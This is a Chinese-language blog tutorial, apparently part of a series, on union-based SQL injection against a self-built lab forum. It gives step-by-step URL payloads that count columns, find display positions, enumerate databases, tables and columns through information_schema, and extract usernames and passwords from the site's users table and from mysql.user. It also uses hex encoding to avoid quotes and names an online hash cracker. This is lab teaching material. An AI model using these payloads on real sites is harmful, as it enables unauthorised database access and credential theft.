目录
- 1 union联合查询注入概述
- 1.1 简介
- 1.2 适用条件
- 1.3 注入步骤
- 1.4 注入技巧
- 2 union联合查询注入案例
- 2.1 操作环境
- 2.2 操作具体步骤
- 2.2.1 判断是否存在注入点及注入的类型
- 2.2.2 使用ORDER BY 查询回显列数。
- 2.2.3 判断显示位置
- 2.2.4 获取数据库名
- 2.2.5 获取数据库中的所有表名
- 2.2.6 获取数据库的对应表中的所有字段名
- 2.2.7 获取字段中的数据
- 3 总结
本博客内容仅供学习探讨,请勿滥用乱用
1 union联合查询注入概述
1.1 简介
union查询注入是最基础的注入。在SQL中, UNION 操作符用于合并两个或多个 SELECT 语句的结果。union 查询注入利用 UNION 关键字可以追加一条或者多条额外的 SELECT 查询,并将结果追加到原始查询中。联合查询会“纵向”拼接两个或多个 SELECT 语句的结果。
1.2 适用条件
(1)网页存在注入点,有回显。
(2)需要满足union语句要求,即:
- union前后两个select的结果集应具有相同列数;
- union前后两个select的结果集对应列应是相同数据类型。
注意,当数据类型为字符时,可以使用编码将字符转化为数字类型。
1.3 注入步骤
(1)首先判断是否存在注入点及注入的类型。
(2)使用ORDER BY 查询列数、观察回显的位置。
(3)获取数据库名。
(4)获取数据库中的所有表名。
(5)获取数据库的表中的所有字段名
(6)获取字段中的数据。
1.4 注入技巧
在最后一个select语句后可以使用 order by 或 limit 等SQL语句对查询进行限制和调整。
2 union联合查询注入案例
2.1 操作环境
实验靶场——虚拟机(IP为172.16.1.1):本节实验靶场是在win2008系统上基于phpstudy搭建的一个简单网站,win2008及phpstudy的安装过程可以参考《【语言环境】WAMP环境部署及优化—以win2008R2SP1为操作系统》,网站的搭建过程可以参考《【(SQL+HTML+PHP)综合】一个简单论坛网站的综合开发案例》
注入工具——真实机:本实验利用火狐浏览器来实现union注入,为方便注入过程的编码,建议安装一个扩展插件harkbar,安装过程参考《HackBar免费版安装方法》由于该教程中的2.1.3harkbar我安装后无法正常使用,就安装了HackBar Quantum来代替。安装后出现下图左侧的东西。
2.2 操作具体步骤
在执行sql语句的时候,可以考虑火狐浏览器的插件HackBar Quantum。
2.2.1 判断是否存在注入点及注入的类型
在该阶段主要是尝试不同的输入参数,根据网页反馈信息来判断是否存在SQL注入点以及注入类型,如是否是字符型还是数值型,是否有布尔状态,是否存在延迟注入等。首先用浏览器访问我们的留言论坛,并点击第一条留言进入测试界面。然后判断是否存在注入点及注入的类型。
(1)将参数修改为?id=5
,并刷新,看到页面变化如下,弹出第5条留言内容,由此可推测见后台是根据id参数的不同来反馈不同信息,因此推测留言内容极有可能是存在数据库中,可控参数id与数据库存在交互,很可能存在sql注入。
(2)判断注入类型为字符型还是数字型。将参数修改为?id=5'
或id=5"
,并刷新,看到页面变化如下。说明此注入点可能为数字型注入。
- 出现上述这种报错信息,错误发生在单引号附近,说明此注入点可能为数字型注入。具体分析如下:
猜测原sql语句可能为:select * from table where id=$id
。假如id为数字型,则sql语句为select * from table where id=5
,当输入?id=5‘
,时,sql语句变为select * from table where id=5'
,说明单引号之前都是正确的,说明单引号是多余的。
2.2.2 使用ORDER BY 查询回显列数。
(1)order by 语句为按某一列的顺序进行排序,在此处我们利用该语句来判断select查询结果集中有多少列,当order by 参数超过其结果集列数时,会出错。修改参数为?id=5 order by 2
,结果与?id=5
一样,可以猜测是回显数据至少有2列。(order by 2指按照第2列进行排序)
(2)修改参数为?id=5 order by 列数
,列数依次增加。当参数修改为?id=5 order by 4
,回显结果正常,但是当参数修改为?id=5 order by 5
,出现报错结果,说明当前select语句查询结果中字段个数为4,即有4列。
(3)当ORDER BY 无法使用时,也可以用?id=5 union select 1,2,3,4
或?id=5 union select null,null,null,null
,当使回显结果与?id=5
一致时,数数字的个数或者null的个数,即为列数。
2.2.3 判断显示位置
得到字段个数后,可以尝试构造联合查询语句。
这里我并不知道表明,根据mysql数据库特性,select语句在执行过程中,并不需要指定表名。
(1)我们构造union select语句为?id=5 union select 1,2,3,4
。试图显示联合查询的内容,结果发现与原来一致,这是因为id=5为真,后台返回了id=5的页面时就占用了页面可以显示的区域,导致第二个select语句的结果集无法显示。
(2)我们可以考虑让union前一句语句的查询为假,没有回显内容,则后台将返回第二个select语句的结果集。因此构造sql语句:?id=-5 union select 1,2,3,4
.可以看到第2第3第4个参数均显示出来,这三个参数可以用来查询后台的一些信息。
(3)我们可以构造sql语句为?id=-5 union select 1,2,3,version()
,来利用第4个显示位带回后台的版本信息。至此我们成功利用union语句带回了WEB开发者意愿之外的内容。
tips:
select 1,2,3,4
只有该条语句时执行结果如下:
2.2.4 获取数据库名
(1)我们可以构造sql语句为?id=-5 union select 1,2,version(),database()
,来利用第3个和4个显示位带回后台的该网站所在数据库信息。可以看到确实是我们搭建网站时所用的数据库。
(2)在《【SQL注入-01】SQL语句基础及SQL注入漏洞原理及分类》中我们知道,元数据库中有个表schemata记录所有数据库的信息。该表中字段名schema_name记录着所有数据库的名字,我们可以通过该表获取其他数据库信息。我们修改参数为?id=-5 union select 1,2,3,group_concat(schema_name) from information_schema.schemata
,回显如下,带回了该服务器所有数据库名字,包括该站点之外的数据库也可以看到,说明union联合查询可以跨库查询。
2.2.5 获取数据库中的所有表名
注意,在元数据库中,有information_schema.tables表格存放着所有表格的信息,其中有table_schema字段记录表格所属数据库,有table_name记录着表格名字。union联合查询可以跨库跨表查询。
(1)获取jrlt数据库下的所有表名。我们构造sql语句为?id=-5 union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema = database()
来获取当前数据库下的所有表名。注意,在页面中尽量避免使用字符串,因此用函数database()来代替上节中查到的数据库名。users表中可能存在用户账密。(也可以用该sql语句:?id=-5 union select 1,2,3,hex(table_name) from information_schema.tables where table_schema = database()
,hex为16进制编码,之后用burp suite进行解码)。
(2)获取mysql数据库下的所有表名。根据上节我们查到的所有数据库名,猜测数据库管理员的账密可能存在mysql数据库下,因此我们构造sql语句为?id=-5 union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema = 'mysql'
来获取mysql数据库下的所有表名,其中mysql前后需要加上单引号表示为字符串。可以看到返回了该数据库下所有表名,这些是跨出了我们访问的站点之外的表,看到其中有一个表名为user,可能会记录着敏感信息。注意,上述sql语句中使用了单引号,为了避免单引号的使用,我们一般把字符转换成16进制编码,即?id=-5 union select 1,2,version(),group_concat(table_name) from information_schema.tables where table_schema=0x6d7973716c
,其中0x为了说明是16进制,6d7973716c为mysql的16进制。
2.2.6 获取数据库的对应表中的所有字段名
在元数据库中,有information_schema.colunms存储所有字段信息。该表主要字段名如下:
- TABLE_SCHEMA:记录该字段名属于哪个数据库。
- TABLE_NAME:记录该字段属于哪个表。
- COLUMN_NAME:记录该字段名。
(1)获取jrlt数据库下对应表中的的所有字段名。在jrlt数据库中,在上述查询后我们知道有一个表名为users,我们构造sql语句为为?id=-5 union select 1,2,version(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273
来获取users表的字段名。其中,0x7573657273为users的16进制,是为了避免出现单双引号。可以看到里面有name和password两个字段,这是下一步我们要获取的目标。
(2)获取mysql数据库下对应表中的的所有字段名。同样的,在mysql数据库中有一个表名为user,我们构造sql语句为为?id=-5 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=0x6d7973716c and table_name =0x75736572
来获取该表的字段名。其中,mysql数据库名和user表名采用16进制表示。可以看到里面有User和Password两个字段,这是下一步我们要获取的目标。
2.2.7 获取字段中的数据
(1)获取jrlt数据库下的想要的字段内容。
-
我们构造sql语句为
?id=-5 union select 1,2,3,concat(name,':',password) from users
来获取users表中的两个字段内容。其中a是账号名,后面那一串是经过加密后的密码。注意,参数中的冒号可以转为使用16进制编码,如将’:'改为0x3a。
-
此处用户密码没有加密。但是一般的密码均会进行加密,将加密后的密文复制到https://www.cmd5/网页中可以进行在线解密。
-
在上述命令中,我们查询到的是第一个账户和密码,可以使用limit显示select查询的是第几个。修改参数为
?id=-5 union select 1,2,3,concat(name,0x3a,password) from users limit 1,1
,limit第一个参数是偏移量,偏移量1表示第二个账户,第二个参数是个数,表示一个。
(2)获取mysql数据库下的想要的字段内容。
- 参考上面的方法跨库查询mysql数据库下user表的字段,构造sql语句为为
?id=-5 union select 1,2,version(),concat(User,0x3a,Password) from mysql.user
,返回账户名和加密后的密码。
- 将密文进行在线解密,如下:
3 总结
(1)理解union联合查询的限制条件;
(2)掌握union联合查询注入的原理及流程;
(3)查询语句中尽可能减少字符串的使用,可以通过使用SQL内置函数或转为16进制码避免字符串的使用。
更多推荐
【SQL注入-03】union联合查询注入案例
发布评论